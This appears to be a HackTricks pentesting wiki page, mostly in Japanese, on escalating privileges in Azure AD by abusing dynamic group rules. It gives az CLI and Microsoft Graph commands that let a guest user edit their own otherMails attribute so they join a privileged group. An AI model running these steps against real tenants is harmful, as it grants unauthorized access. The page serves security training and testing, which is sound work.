2.8 KiB
Az - Dynamic Groups Privesc
{{#include ../../../../banners/hacktricks-training.md}}
基本情報
Dynamic groupsは、設定された一連のrulesを持つグループであり、ルールに一致するすべてのusers or devicesがグループに追加されます。ユーザーまたはデバイスのattributeがchangedされるたびに、動的ルールがrecheckedされます。また、new ruleがcreatedされると、すべてのデバイスとユーザーがcheckedされます。
Dynamic groupsにはAzure RBAC rolesを割り当てることができますが、AzureAD rolesを動的グループに追加することはnot possibleです。
この機能にはAzure ADプレミアムP1ライセンスが必要です。
Privesc
デフォルトでは、任意のユーザーがAzure ADでゲストを招待できるため、動的グループのruleがattributesに基づいてユーザーにpermissionsを与える場合、新しいguestでこの属性をsetすることでcreate a guestし、escalate privilegesすることが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。
動的メンバーシップを許可するグループを取得します: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
例
- Rule example:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Rule description: 'security'という文字列を含む二次メールを持つゲストユーザーはグループに追加されます。
ゲストユーザーのメールで招待を受け入れ、https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactViewでthat userの現在の設定を確認します。
残念ながら、ページでは属性値を変更することができないため、APIを使用する必要があります。
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
参考文献
{{#include ../../../../banners/hacktricks-training.md}}